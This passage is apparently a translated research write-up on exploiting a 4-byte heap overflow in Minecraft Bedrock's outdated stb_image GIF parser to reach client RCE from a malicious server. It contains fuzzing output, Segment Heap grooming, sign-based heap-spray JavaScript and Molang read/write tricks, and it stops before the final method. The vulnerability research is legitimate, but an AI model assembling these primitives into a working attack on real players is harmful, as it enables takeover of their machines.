攻克Minecraft:从4字节堆溢出到远程代码执行
本文详细介绍了如何利用Minecraft Bedrock客户端的一个4字节堆溢出漏洞实现远程代码执行。
我们在 Minecraft Bedrock 中实现了 RCE,将一个 4 字节的堆溢出转变为对客户端的完全攻陷。了解一种通用的、Bedrock 特有的技术如何被用来绕过 ASLR 并获得任意读/写原语。

目标
Minecraft 是有史以来最受欢迎的游戏之一,每天有数百万玩家,并且存在大量社区服务器被成千上万的人活跃游玩。再加上这一领域缺乏研究,这使其成为一个很有吸引力的目标。
它主要有两个版本:Minecraft Java Edition,使用 Java 编写,可运行于桌面平台(Windows、macOS、Linux);以及 Minecraft Bedrock Edition,主要使用 C++ 编写,运行于 PlayStation、Xbox 等主机平台、移动平台,也可在 Windows 上运行。
考虑到我们对内存破坏类漏洞更感兴趣,我们选择了 Bedrock Edition。更具体地说,我们决定探索 Windows 版本,因为这是我们最熟悉的调试环境。
上下文的选择
我们专注于恶意服务器 -> 连接客户端这一威胁模型,因为服务器可以控制许多输入,相比客户端->客户端攻击,这提供了更大且更容易触及的攻击面。
服务器可以控制大量状态,其中包括:整个世界以及其中所有实体、每个已连接客户端的状态(例如位置和视角角度),以及由服务器提供、供连接客户端下载和解析的资源包。
资源包
资源包是一种改变 Minecraft 外观的方式。它们可以为方块和实体指定自定义纹理和声音,同时还能控制客户端的实体动画。
服务器可以在客户端连接时向其提供一个自定义资源包,客户端可以选择下载并加载它。如果服务器将资源包设为强制,那么拒绝该资源包的客户端将不被允许连接。
这扩大了攻击面,使其包含图像和音频解析,而这两者在历史上都是内存破坏漏洞的常见来源。
寻找内存破坏漏洞
鉴于 Minecraft 是一个大型的、闭源的 C++ 代码库,我们希望避免不必要的逆向工程,因此我们首先查看了图像解析代码。
图像解析之所以有趣,是因为程序很少自己重新实现解码器,通常会使用第三方库。我们希望 Minecraft 使用的是一个我们可以阅读的开源库,这比逆向一个原生解码器要容易得多。
定位图像解析代码
找到处理图像解析代码的最简单方法是搜索预期的字符串,例如 PNG 或 GIF,并查找使用这些子串的错误日志或其他消息。
搜索字符串 GIF 返回了一些有趣的结果:

这些结果中的大多数(甚至全部)看起来都像是被图像解析器使用的。我们在线搜索了这些字符串,发现它们与 stb_image.h 中使用的字符串完全一致。例如:bad Image Descriptor 的使用。
为了确认该库代码确实被用于加载图像,我们创建了一个简单的资源包,其中包含一张 GIF 图像,在 stbi__gif_load_next 处设置了断点,然后加载该资源包,这证实了它的使用:

STB Image Library
stb_image.h 历史上曾存在多个内存破坏漏洞,但已知的那些在后续修订中都已被修复。在这个库里寻找一个新的 0-day 看起来相对困难,因为它被广泛使用,并且在当时已经受到了充分审查。
因此,我们检查了 Minecraft 所使用的版本是否已经过时,如果是,先前报告的漏洞可能仍然适用。我们检查了 stb_image.h 的提交,并核对这些改动是否出现在 Minecraft 可执行文件中。最终,我们发现 Minecraft 使用的是一个相当旧的修订版本,大致早于 f1f077b2722f55e158cba020f0312ee2d13c463a 这个提交。
在当时,这个提交已经有 6 年历史,而其后已有公开报告的内存破坏漏洞。我们查看了这些已报告的漏洞,但没有找到一个既有趣又适用的,于是我们决定针对这个提交运行一个简单的 fuzzing harness。
模糊测试
这个 fuzzer 由一个非常简单的 AFL++ harness 组成:
#define STB_IMAGE_IMPLEMENTATION
#include "./stb/stb_image.h"
int main(int argc, char **argv) {
int x, y, comp;
unsigned char *ret;
if (argc != 2) {
return 1;
}
ret = stbi_load(argv[1], &x, &y, &comp, 0);
if (ret == NULL) {
return 1;
}
stbi_image_free(ret);
return 0;
}
在启动 fuzzer 后不久,它就发现了一个有趣的 bug:
=================================================================
==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
WRITE of size 1 at 0x52d000008800 thread T0
#0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233
#1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227
#2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227
[...]
#19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326
#20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443
#21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573
#22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989
#23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088
#24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174
#25 0x6554242fd22c in stbi_load stb/stb_image.h:1164
[...]
调查该发现
ASAN 输出显示,在 stb_image.h 的第 6233 行,程序尝试执行一次越界的单字节写入。查看附近源代码:
static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)
{
stbi_uc *p, *c;
int idx;
[...]
if (g->cur_y >= g->max_y) return;
idx = g->cur_x + g->cur_y;
p = &g->out[idx];
g->history[idx / 4] = 1; // OOB 写入
可以合理推测,idx 超出了 g->history 的边界,从而导致了一个单字节 OOB 写入(g->history[idx / 4] = 1)。这个单字节 OOB 很难被远程利用,但这是我们最初观察到的唯一破坏,因此我们继续深入调查。
由于 p 是在违规发生前由 g->out[idx] 立即计算出来的,我们考虑 idx 是否也可能对 g->out 来说是 OOB。请注意,计算地址 &g->out[idx] 本身并不会访问内存,因此 ASAN 不会对此发出警告。
如果我们注释掉 g->history[idx / 4] = 1 并重新运行该 fuzzing 输入,ASAN 会在同一个函数中的另一行报告另一个违规:
=================================================================
==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
WRITE of size 1 at 0x7f0fe6e6c800 thread T0
#0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237
[...]
这对应于:
static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)
{
[...]
idx = g->cur_x + g->cur_y;
p = &g->out[idx];
g->history[idx / 4] = 1;
c = &g->color_table[g->codes[code].suffix * 4];
if (c[3] > 128) {
p[0] = c[2]; // OOB 写入
p[1] = c[1];
p[2] = c[0];
p[3] = c[3];
}
这证实了 idx 对 g->out 来说也是 OOB,在这里它导致了一个四字节 OOB 写入。四字节 OOB 写入依然不容易被远程利用,但它比单字节 OOB 明显更危险。
我们通读了 GIF 解析代码,以弄清楚被写入的值是否可控,并发现 g->color_table 是由 stbi__gif_parse_colortable 填充的:
static void stbi__gif_parse_colortable(
stbi__context *s,
stbi_uc pal[256][4], // g->color_table
int num_entries,
int transp
) {
int i;
for (i=0; i < num_entries; ++i) {
pal[i][2] = stbi__get8(s);
pal[i][1] = stbi__get8(s);
pal[i][0] = stbi__get8(s);
pal[i][3] = transp == i ? 0 : 255;
}
}
前三个字节从输入图像读取,而最后一个字节只能是 0 或 255。但正如我们之前所见,只有当最后一个字节大于 128 时,OOB 写入才会发生:
c = &g->color_table[g->codes[code].suffix * 4];
if (c[3] > 128) {
p[0] = c[2];
p[1] = c[1];
p[2] = c[0];
p[3] = c[3];
}
这意味着 stbi__gif_parse_colortable 必须将最后一个字节设置为 255,四字节 OOB 写入才会发生,也就是说我们可以控制溢出的前三个字节,而最后一个字节将始终是 255。
在代码中我们可以看到,g->out 分配的大小由 g->w 和 g->h 控制,而这两个值都是从输入文件本身读取的:
static stbi_uc *stbi__gif_load_next(...)
{
[...]
if (g->out == 0) {
if (!stbi__gif_header(s, g, comp,0)) return 0;
g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);
最后,为了弄清楚 OOB 字节相对于已分配缓冲区写到了哪里,我们打印了 g->out 的地址范围以及 OOB 写入发生前 p 的值:
g->out address range: [0x75d00d114800, 0x75d00d135800)
[...]
p: 0x75d00d135800
对 p 有多次边界内写入,但最后一次写入恰好发生在 g->out 分配之后。
总结这次破坏
- 一个单字节
0x01的 OOB 写入 - 一个紧挨着已分配缓冲区上方的 4 字节 OOB 写入
- 前三个字节可控
- 最后一个字节将是
255 - 分配的大小可控
- 这两种破坏都发生在一个短生命周期的分配上
- 在图像解析过程之前刚刚分配
- 在解析完成后立即释放
请注意,这个 bug 实际上之前已经被发现过(Github Issue),但我们当时错过了。它后来在这个提交中被修复。
利用
我们手头的内存破坏并不是最容易利用的,尤其是在有 ASLR 的远程目标上,但这是我们唯一拥有的。我们本可以去寻找另一个用于信息泄露的 bug,但那不够有趣,我们想看看是否能仅凭这个 4 字节内存破坏拿到 RCE。
显然,仅凭四个字节在这里不足以实现远程代码执行,因此我们开始寻找将该溢出转化为更强原语的方法。
寻找更强的原语
最初的想法是利用这个 4 字节 OOB 溢出到相邻堆块头部并攻击分配器,但我们当时并不熟悉 Windows 分配器内部机制,所以先开始做调查。
我们意识到 Minecraft 使用的是 Segment Heap,这是微软较新的堆实现,被内核使用,也是打包应用 / UWP 应用(例如 Minecraft Bedrock Edition)的默认堆。
Segment Heap
这种堆实现的内部机制此前已被多次研究过(例如 Yarden Shafir 的这个演讲),所以我们这里只总结与本文相关的两种子段类型。
Low Fragmentation Heap
Low Fragmentation Heap(LFH)在启用该大小的 LFH 后,会为 0x3ff0 字节及以下的分配提供服务。某个给定大小的 LFH 会在连续 17 次该大小分配后启用。
对我们来说最重要的是,在这个子段中分配的 chunk 没有 per-chunk header,并且 LFH 中两个相邻 chunk 的数据之间没有分配器元数据隔开。
+-------------------------+
Chunk A ----->| 41 41 41 41 41 41 41 41 |
| |
| 41 41 41 41 41 41 41 41 |
| |
| 41 41 41 41 41 41 41 41 |
| |
| 41 41 41 41 41 41 41 41 |
+-------------------------+
Chunk B ----->| 42 42 42 42 42 42 42 42 |
| |
| 42 42 42 42 42 42 42 42 |
| |
| 42 42 42 42 42 42 . . . |
| |
这意味着 4 字节 OOB 写入可以覆盖紧邻其上的下一个 chunk 的前四个字节,使我们能够将目标指向 Minecraft 中堆分配的内部结构,而不是分配器。思路是,我们可以找到一个首字段是引用计数或长度字段之类的结构(例如),然后直接用这个溢出来破坏它。
Variable Size
这个子段用于大小从 0x4000 到 0x20_000 的分配。与 LFH 不同,分配器会将 chunk 元数据存储在已分配块的头部中。
+-------------------------+
Chunk A ----->| HEAP_VS_CHUNK_HEADER |
+-------------------------+
Chunk A Data ------------>| 41 41 41 41 41 41 41 41 |
| |
| 41 41 41 41 41 41 41 41 |
| |
| 41 41 41 41 41 41 41 41 |
+-------------------------+
Chunk B ----->| HEAP_VS_CHUNK_HEADER |
+-------------------------+
Chunk B Data ------------>| 42 42 42 42 42 42 42 42 |
| |
| 42 42 42 42 42 42 42 42 |
| |
| 42 42 42 42 42 42 . . . |
| |
这个头部 HEAP_VS_CHUNK_HEADER 包含块大小和分配状态等信息。关键在于,这个头部会与一个秘密 heap key 做 XOR 编码。由于这种编码,除非泄露出 heap key,否则用溢出伪造 chunk header 并不具有确定性。
此时有两条探索路径:在 LFH 中使用这个 4 字节溢出去攻击 Minecraft 结构,或者在 VS 中使用这个溢出去攻击分配器。
攻击分配器看起来很困难,因为 VS chunk header 是编码过的。幸运的是,Blue Frost Security 曾发表过一种技术,描述了如何在 VS heap 中利用 3-4 字节溢出可靠地产生重叠 chunk。
为了在 LFH 中攻击 Minecraft 结构,我们需要找到一个堆分配对象,其第一个字段可以用四个字节(或更少)伪造,候选包括引用计数器或长度字段。覆盖这样一个字段可以产生有用的原语(例如,通过破坏 refcount 产生 use-after-free,或者通过破坏长度字段产生更大的溢出 / OOB 读)。
无论哪种情况,在继续之前我们都需要一种喷射堆的方法。
寻找一种喷射堆的方法
我们需要找到一个对象,当服务器执行某个可控动作时,客户端会进行分配。理想情况下,服务器能够控制:
- 分配的大小
- 写入已分配缓冲区的数据
- 分配的生命周期(即通过不同的服务器动作进行分配和释放)
- 创建对象的数量(最好无上限)
并不是所有这些条件都是严格必要的,但一个满足所有条件的对象将非常适合用于堆喷射。最终,我们找到了我们正在寻找的东西。
Minecraft 告示牌
告示牌是 Minecraft 中一种可以显示任意文本的方块。一个世界中几乎没有告示牌数量上的限制(除了资源限制),并且它们的生命周期是完全可控的:创建一个告示牌会导致一次分配,而移除它会释放相关内存。
我们特别感兴趣的是客户端如何存储显示在告示牌上的文本。逆向客户端后,我们发现文本是存储在 std::string 中的。
在微软的 C++ 实现中,std::string 的结构大致如下:
struct string
{
union {
char* ptr;
char buf[16];
};
size_t size;
size_t capacity;
};
我们主要关注的是这个 union:当字符串长度适合放入 16 字节时使用 buf,而当字符串超过该大小时,ptr 指向一个堆分配的缓冲区。该已分配缓冲区只包含字符串的原始字节。
这意味着,对于每个文本长度超过 16 字节的告示牌,客户端都会分配一个大小等于字符串长度的堆缓冲区。
这使得告示牌完美符合我们的需求,我们可以完全控制分配大小、生命周期以及堆缓冲区内容。
使用服务器端脚本进行喷射
自动操作世界的最简单方式是通过服务器端行为包。这些包使用 JavaScript 编写,可以控制服务器的许多方面。
我们编写了 alloc 和 free 辅助函数,它们会触发客户端中的一次分配,并在需要时释放它:
// 在客户端中分配告示牌文本
function alloc(size, fill="A") {
for (let sign of signs) {
if (sign.allocated || sign.removed) {
continue;
}
sign.sign.setText(fill.repeat(size - 1));
sign.allocated = true;
return sign;
}
console.warn("No more allocs");
return undefined;
}
// 释放客户端中已分配的告示牌
function free(sign) {
if (sign == undefined || sign.allocated == false) {
return;
}
sign.sign.setText("");
sign.allocated = false;
sign.block.setPermutation(
BlockPermutation.resolve("minecraft:air")
);
sign.removed = true;
}
这些函数将用于执行堆喷射。在此之前,我们需要填充 signs 数组。为此,我们在玩家加入时生成一面告示牌墙,并在其离开后移除它:
let signs;
function create_wall() {
signs = [];
for (let current_y = 0; current_y < WALL_HEIGHT; current_y++) {
for (let current_x = 0; current_x < WALL_WIDTH; current_x++) {
[...]
const sign_block = world
.getDimension("overworld")
.getBlock(sign_location);
sign_block.setPermutation(
BlockPermutation.resolve("minecraft:wall_sign", {
facing_direction: 3
}
));
let sign_component = sign_block
.getComponent(BlockComponentTypes.Sign);
signs.push({
sign: sign_component,
allocated: false,
block: sign_block,
removed: false
});
}
}
}
function remove_wall() {
signs = [];
for (let current_y = 0; current_y < WALL_HEIGHT; current_y++) {
for (let current_x = 0; current_x < WALL_WIDTH; current_x++) {
[...]
const sign_block = await wait_for_block(
world.getDimension("overworld"),
sign_location
);
sign_block.setPermutation(
BlockPermutation.resolve("minecraft:air")
);
[...]
}
}
}
world.afterEvents.playerSpawn.subscribe((arg) => {
create_wall();
});
world.beforeEvents.playerLeave.subscribe(async (arg) => {
remove_wall();
});
这运行得很好,并产生了一个理想情况下客户端不应渲染的结构。因为在喷射期间显示并反复更新这么多告示牌会让客户端卡住,而这是我们想避免的。

阻止客户端渲染这面告示牌墙的方法很简单,只需在每个 tick 调整玩家的视角角度,本质上就是强迫客户端朝向告示牌墙的反方向看。
一个小障碍
在测试我们的堆喷射方法时,我们遇到了如下错误:
[Scripting] Error: Provided message is too long.
Max length is 512 and the provided message has length of 1024.
at alloc (index.js:169)
当服务器可执行文件尝试为一个告示牌分配超过 512 字节的文本时,会抛出这个错误。这严重限制了我们的方法,因为这阻止了我们用实现前述 chunk overlap 技术所需的大块来喷射 VS heap。
在完全放弃这个想法之前,我们考虑了一种可能性:也许这个检查只发生在服务器端,而客户端可能不会验证其接收到的数据长度。
我们在 Bedrock 服务器可执行文件中搜索了这个错误消息,并定位到了长度验证逻辑:

虽然涉及的函数都没有名称,但可以清楚看出,无论实际长度是多少,我们都希望执行总是走 string_length <= 512 这条分支。否则就会抛出错误,客户端也就永远不会分配我们想要的 chunk。
这个比较的反汇编看起来像这样:

代码将 rax(字符串长度)与 0x200(十进制的 512)进行比较。然后执行 jbe,如果 rax 小于或等于 512,就跳转到地址 0x14275114c。目标位置包含通知客户端更新告示牌文本的逻辑,也就是我们每次都想走到的分支。
为了强制执行走这条路径,我们将 jbe 指令 patch 为无条件 jmp,从而确保无论比较结果如何,总是走正确的分支。

在 patch 服务器并以 1024 的大小调用 alloc 之后,该操作现在可以成功执行,客户端也会愉快地分配一个该大小的 chunk:

拥有一种喷射堆的方法非常好,现在我们可以使用前面提到的技术在 VS heap 中创建重叠 chunk,或者利用它来塑造 LFH,使得 4 字节溢出能够覆盖一个 Minecraft 内部结构。
当时,我们无法仅通过一个 4 字节 OOB 写入找到任何有用的 Minecraft 结构可以利用,因此我们转而尝试获取重叠 chunk。
重叠堆块
这次攻击在引用的博客文章中已有详细描述(这里),所以我们只给出一个高层概览。
核心思想是将一个与其上方其他 chunk 重叠的大 chunk 插入到 free list 中。为了理解这一点,需要先了解一些 _HEAP_VS_CHUNK_HEADER 结构布局的基础知识:
+---------------------------+ +---------------+
+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |
+---------------------------+ +---------------+
+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |
+---------------------------+ +---------------+
+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |
+---------------------------+ +---------------+
| . . . | +0x6 |Allocated |
+---------------+
| . . . |
在偏移 0 处有一个头部 _HEAP_VS_CHUNK_HEADER_SIZE,其中包含 MemoryCost、UnsafeSize、UnsafePrevSize 等字段。对于这次攻击,我们只关心 UnsafeSize 字段,它保存的是 chunk 的大小。具体来说,这个值是大小除以 0x10,因此对于大小为 0x4010 的 chunk,UnsafeSize 的值会是 0x401。
这个 UnsafeSize 字段是一个 2 字节字段,位于相对于头部的偏移 0x2 处。因此,它可以被 4 字节 OOB 写入的最后两个字节完全覆盖。
这个字段使用一个我们不知道的随机 key 进行编码,所以我们用什么精确字节覆盖它并不重要,之后的大小会是随机的。也就是说,通过覆盖最小可能的 VS chunk(0x4010)中的 UnsafeSize,我们可以最大化解码后大小大于原始值的概率。由于解码后的大小可能落在 [0x10, 0xffff0] 范围内,因此它超过 0x4010 的概率是:
1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%
因此,解码后的结果大小大于原始 chunk 大小的概率大约是 98%。
考虑到内核堆与用户态堆之间存在细微差异,并且对于本文目的来说,最大化攻击成功率并不那么重要,我们将使用一种相较于引用博客文章中更简化的攻击方式。
重叠攻击概览
攻击的目标是覆盖我们控制的 VS chunk header 的前四个字节,在这里就是保存告示牌文本的那个分配。然后我们对被覆盖的 chunk 调用 free(),使其作为一个过大的 chunk 被插入 free list,从而用于制造重叠。
我们不知道远程客户端的精确堆布局,但其中很可能包含我们想要避免的 g->out 大小的 chunk 在 free list 中。如果使用了一个 g->out 大小的空闲 chunk,那么这个 4 字节 OOB 写入可能会破坏其上方某个我们无法控制的未知 chunk。
为了从 free list 中移除这些 g->out 大小的 chunk,我们分配许多相同大小的告示牌。分配器会先复用 free list 条目,然后在 free list 耗尽时创建新的 region。
在耗空 free list 之后,我们再用更多相同大小的 chunk 喷射 VS heap。如果 free list 已被清空,那么这些分配中的大多数将是连续的,产生许多相邻的告示牌分配,如下所示:
+--------+--------+--------+--------+--------+
| | | | | |
| Sign A | Sign B | Sign C | Sign D | Sign F |
| | | | | |
+--------+--------+--------+--------+--------+
接下来,我们通过释放每隔一个告示牌分配,在连续喷射中制造空洞。这会在我们想要的位置插入 g->out 大小的空闲 chunk,也就是已分配告示牌 chunk 的正下方:
Free Free
+--------+--------+--------+--------+--------+
| |........| |........| |
| Sign A |........| Sign C |........| Sign F |
| |........| |........| |
+--------+--------+--------+--------+--------+
当之后请求一个 g->out 分配时,分配器很可能会从我们插入的这些空洞中满足它。结果就是,下一个相邻的已分配 chunk 的 UnsafeSize 字段将被覆盖:
+--------+
Free | |
+--------+--------+--------+ g->out +--------+
| |........| | | |
| Sign A |........| Sign C +--------+ Sign F |
| |........| | | |
+--------+--------+--------+ +--------+
一旦 UnsafeSize 被覆盖,g->out 分配会在之后立即被释放,恢复先前布局,但 UnsafeSize 字段已经被破坏:
UnsafeSize 已被覆盖
^
|
Free Free |
+--------+--------+--------+--------+---+----+
| |........| |........| |
| Sign A |........| Sign C |........| Sign F |
| |........| |........| |
+--------+--------+--------+--------+--------+
为了在下一阶段避免相邻 chunk 合并,我们再喷射额外的告示牌来填满连续区域中的空洞:
UnsafeSize 已被覆盖
^
|
|
+--------+--------+--------+--------+---+----+
| | | | | |
| Sign A | Sign B | Sign C | Sign D | Sign F |
| | | | | |
+--------+--------+--------+--------+--------+
最后,我们释放剩余的连续喷射区域。其中一个被释放的分配将具有被破坏的(且很可能过大)大小,从而给我们带来一个大得多的溢出:
已释放的被覆盖 chunk
|
+----------+----------+
| |
Free Free v v
+--------+--------+--------+--------+--------+- - - - - - -
|........| |........| |........|
|........| Sign B |........| Sign D |........| 其他 chunk
|........| |........| |........|
+--------+--------+--------+--------+--------+- - - - - - -
这会产生一个比原始 4 字节 OOB 大得多的溢出原语。然而,在没有信息泄露的情况下,ASLR 仍然是一个大问题,而且很难找到一个理想的单一结构。
我们没有继续寻找简单结构,而是将注意力转向由服务器控制、在客户端执行的更复杂的脚本系统,最终找到了 Molang。
Molang
Molang 是一种 Minecraft 特有的脚本语言,专为简单数学运算和轻量级状态模型而设计。它通常控制客户端的实体动画,并且可以包含在由服务器下发的资源包中。官方 syntax guide 中有一个高层概览。
可用的基础类型很简单:数字是 32 位 float,另有一种字符串类型,但它只支持 == 和 != 运算符。
变量通过在名称前加上 variable. 并赋值来定义。例如,要将 result 定义为 a 和 b 的和:variable.result = variable.a + variable.b;
它支持 ||、&&、<、> 等逻辑运算符,并使用类似三元表达式的代码块实现条件分支:
(variable.result == 3) ? {
return 1;
} : {
return 0;
}
如上所示,Molang 非常简单,但我们希望它足以作为第二阶段 payload,在客户端实现任意读写。
Molang 内部机制
我们最感兴趣的是变量是如何处理的。具体来说,我们想知道是否可以利用溢出来破坏一个变量,然后借助这个被破坏的变量执行任意读取,在 Molang 脚本内部泄露绕过 ASLR 所需的信息,并随后利用这些泄露来执行任意写入。
下面我们描述所涉及的结构及其内存布局。
MolangVariable 和 MolangScriptArg
每个声明的变量都会创建一个 MolangVariable 结构。简化后,它大致如下所示:
struct MolangVariable {
struct HashedString {
uint64_t variable_name_hash;
std::string variable_name;
};
struct MolangScriptArg {
uint32_t value_type;
uint64_t value;
std::vector<struct MolangScriptArg> struct_fields;
[...]
};
};
在内存中,一个 MolangVariable 实例看起来像这样:
+---------------+---------------+
+0x00 | FNV-1 hash |std::string.buf|
+---------------+---------------+
+0x10 |std::string.buf|std::string.len|
+---------------+---------------+
+0x20 |std::string.cap| Unknown |
+-------+-------+---------------+
+0x30 | Type |Unused |Variable value |
+-------+-------+---------------+
+0x40 |std::vector.buf|std::vector.len|
+---------------+---------------+
+0x50 |std::vector.cap| Unknown |
+---------------+---------------+
| . . . | . . . |
作为参考,下面是该布局的调试器视图示例:

完整结构比图中展示的更大,包含更多字段,但其中很多与利用无关。
我们只关心从偏移 0x30 开始的 MolangScriptArg,因为它包含变量值。在上面的截图中,0x30 处的 value_type 为 0(表示 float),而 0x38 处的 value 为 0xbf2070c8。
在赋值过程中,例如 variable.a = variable.b,MolangScriptArg 的每个字段都会从变量 b 复制到 a。有趣的是,即使类型是 32 位 float,value 字段也总是作为 uint64_t 被复制。
每个实体都将其变量存储在一个 per-entity vector 中,称为 MolangVariableMap。
MolangVariableMap
MolangVariableMap 本质上就是每个实体都持有的一个 std::vector<MolangVariable *>。为了理解它的内存,我们需要回忆一下 MSVC 的 std::vector 布局:
struct vector {
void *buf;
void *len;
void *cap;
};
buf 指向已分配的元素数组,len 指向最后一个已使用元素之后的位置,cap 指向已分配缓冲区的末尾。值得注意的是,len 和 cap 的类型并不是典型的整数大小类型,而都是指针。
一个包含三个变量指针外加一个未使用槽位的 vector 的布局示例如下:
+---------+ +--------------------+
| buf +-------> | MolangVariable A* |
+---------+ +--------------------+
| len +----+ | MolangVariable B* |
+---------+ | +--------------------+
| cap | | | MolangVariable C* |
+----+----+ | +--------------------+
| +--> | Empty element slot |
| +--------------------+
| ^
+-----------------------------------+
由于每个实体都可以独立创建和初始化变量,特定变量(例如 variable.result)在不同实体中的索引可能不同。为了解决这个问题,使用 MolangIndexMap 将全局变量名映射到正确的 per-entity 槽位。
MolangIndexMap
MolangIndexMap 是一个 per-entity 的 std::vector<uint16_t>。引擎维护着一个全局 hashmap,用于将变量名映射到全局索引。当客户端遇到类似 variable.result = 0 的语句时,它会:
- 在全局 hashmap 中检查
result - 如果找到,就使用该全局索引在
MolangIndexMap中查找 per-entity 索引 - 如果没找到,就创建一个新的全局条目,并将其赋值为
last_index + 1
这意味着,变量 result 的相同全局索引会映射到每个实体的 MolangIndexMap 中相同的位置,但实际的 MolangVariable 可能位于各个实体的 MolangVariableMap 中不同的槽位。Entity.MolangIndexMap[global_index] 存储的是变量 result 的 per-entity 索引(槽位)。
重要的是,我们发现 MolangIndexMap 中的索引会被信任,客户端并不会验证某个 per-entity 索引是否真的位于该实体 MolangVariableMap 的边界之内。这意味着,如果我们通过 chunk overlap 覆盖变量 result 的索引(只是一个例子,任何变量都可以),让它对该实体的 MolangVariableMap 来说变成越界值,那么我们就可以通过 variable.result 对 address + 0x38 执行读写。
构建 Molang 任意 R/W 原语
我们需要在某个可堆喷射对象中找到一个指针,以便在 Molang 中构造任意读/写原语。最终,我们想到使用 std::vector 的内部指针,具体来说,是 MolangVariableMap vector 的内部指针。
由于每个实体对象都是堆分配的,并且都包含一个 MolangVariableMap vector,我们意识到,也许可以覆盖一个变量索引,使其读取紧邻 MolangVariableMap 已分配缓冲区放置的实体对象中的 MolangVariableMap vector 的 buf 指针。
+-------------+ <--+
+---> | variable.a | |
| +-------------+ |
| | variable.b | |
| +-------------+ +- MolangVariableMap 已分配缓冲区
| | . . . | |
| +-------------+ |
| | variable.f | |
| +-------------+ <--+--+
| | | |
| | | |
| | | |
| | | |
| +------+------+ +- Entity Object
+-----+ buf | len | |
+------+------+ |
| cap | | |
+------+ | |
+-------------+ <-----+
在上图场景中,MolangIndexMap 会将 variable.a 映射到索引 0,variable.b 映射到索引 1,以此类推。如果我们将 variable.a 的索引覆盖为一个对 MolangVariableMap 来说越界的值,那么它就可以改而索引到上方实体对象中的 buf 字段。读取 variable.a 将返回从 MolangVariableMap 开始偏移 0x38 处存储的指针(在此图中对应 variable.f),而写入 variable.a 将覆盖该指针,从而破坏 variable.f。
为了泄露 Minecraft 可执行文件的地址,我们可以递增 variable.a(variable.a += 8),这会将 variable.f 所使用的指针向前推进 8 字节。Molang 脚本会重复这一过程,直到在堆中找到一个 vtable 指针。此时,我们就可以通过设置 variable.a = variable.exe_leak + <offset> 将任意值写入 Minecraft 进程中的可写区域,这会把 variable.f 的指针更新为我们选择的地址,而写入 variable.f,例如 variable.f = 1337,则会将值 1337 写入该计算地址偏移 0x38 的位置。
测试这个想法
我们通过手动添加一个指向 MolangVariableMap 起始位置的指针,并修改某个变量的索引,让它索引这个越界指针来测试这个想法。它几乎成功了,下面是 Molang 脚本执行前 MolangVariableMap 已分配缓冲区的状态:

这是执行后的状态:

作为参考,这是包含我们 Molang 的相关实体 json 文件的样子:
{
"format_version": "1.10.0",
"minecraft:client_entity": {
"description": {
"identifier": "minecraft:leash_knot",
[...],
"scripts": {
"initialize": [
"variable.a = 0;",
"variable.b = 0;",
"variable.c = 0;",
[...]
],
"pre_animation": [
"variable.a = 2.310732e-27;"
]
},
}
}
}
如上所示,偏移 0x38 处某个变量的指针被修改了,核心概念是有效的。在 MolangScriptArg 复制期间,偏移 0x38 上方其他一些变量的指针被移除了,但这没关系,因为这些变量是我们控制的,我们可以在执行期间简单地不更新它们。然而,我们还发现了这种方法的其他问题。
如前所述,Molang 中唯一的数字类型是 32 位 float,这会导致两个主要问题:
- 由于 ASLR,指针递增是不一致的。如果地址的低 32 位大于
FLT_MAX,该值就会变成无效 float,导致递增操作失败。 - 如前所述,在赋值期间,
MolangScriptArg字段会被复制,而value字段总是作为uint64_t被复制。由于我们的源MolangScriptArg(计算 rvalue)只有低 32 位被填充(因为类型是 32 位 float),目标地址的高 32 位总会被清零。
由于这些问题,仅靠这个想法是行不通的。我们需要调整方法,或者想出一个全新的方案。
扩展这个想法
如前所述,MolangScriptArg 的 type 字段是一个 uint32_t。在赋值期间,高 32 位不会被触碰,因此会保持未初始化状态。这一点可以在前面的调试器截图中观察到,value 字段正下方的那 32 位在 Molang 执行前后都保持不变。
基于这一点,我们认为可以不只破坏一个变量,而是破坏两个变量。计划是利用一个被破坏的变量修改某个变量指针的低 32 位,再利用另一个指向 MolangVariableMap 已分配缓冲区 + 4 的被破坏变量恢复高 32 位。
在下面的例子中,variable.a 指向 MolangVariableMap,而 variable.b 指向 MolangVariableMap + 4:
variable.f 指针
|
+-------------+-------------+
v v
+-------------+-------------+
| a0 bb cc dd | 80 1c 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-------------------+
+-------------+\
| . . . |
这里,variable.a 的 value 字段从 variable.f 指针的低 32 位开始,而 variable.b 从高 32 位开始。这意味着我们可以将 variable.f 指针的高 32 位存储在一个单独的变量中:
variable.saved_upper_32 = variable.b;
接着我们就可以修改指针的低 32 位:
variable.a = variable.a + itof(0x8);
此操作之后,高 32 位被清零,而低位被调整:
+-------------+-------------+
| a8 bb cc dd | 00 00 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-------------------+
+-------------+\
| . . . |
由于 value 字段正下方的 32 位在赋值期间不会被触碰,我们只需恢复高位即可:
variable.b = variable.saved_upper_32;
现在 variable.f 指针被恢复了,并且我们将它增加了 8,得到了期望状态:
+-------------+-------------+
| a8 bb cc dd | 80 1c 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-------------------+
+-------------+\
| . . . |
这绕过了高 32 位被清零的问题,但又带来了另一个问题:我们如何在堆上找到一个指向 MolangVariableMap + 4 的指针?
此外,在上面的例子中给 variable.a 加 8 也行不通,因为 0xddccbba0 不是一个合法的 float。所以第一个问题仍然没有解决。
最终方法
